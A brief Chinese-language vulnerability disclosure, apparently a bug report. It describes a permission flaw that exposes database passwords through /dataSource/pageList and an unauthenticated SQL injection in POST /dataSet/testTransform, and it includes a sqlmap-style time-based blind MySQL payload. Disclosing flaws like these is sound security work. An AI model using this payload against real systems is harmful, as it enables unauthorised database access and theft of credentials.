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权限问题+SQL注入漏洞
接口http://ip/dataSource/pageList存在权限问题,只有查看权限的可以获取数据库密码,从而直接登录数据库。
如果无法直接连接,则该用户可以调用POST /dataSet/testTransform进行SQL注入,该处也没有权限限制,payload如下:
Parameter: JSON #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload:
{"sourceCode":"001","dynSentence":"(SELECT 6513 FROM (SELECT(SLEEP(5)))geRa)","dataSetParamDtoList":[],"dataSetTransformDtoList":[],"setType":"sql"}
back-end DBMS: MySQL >= 5.0.12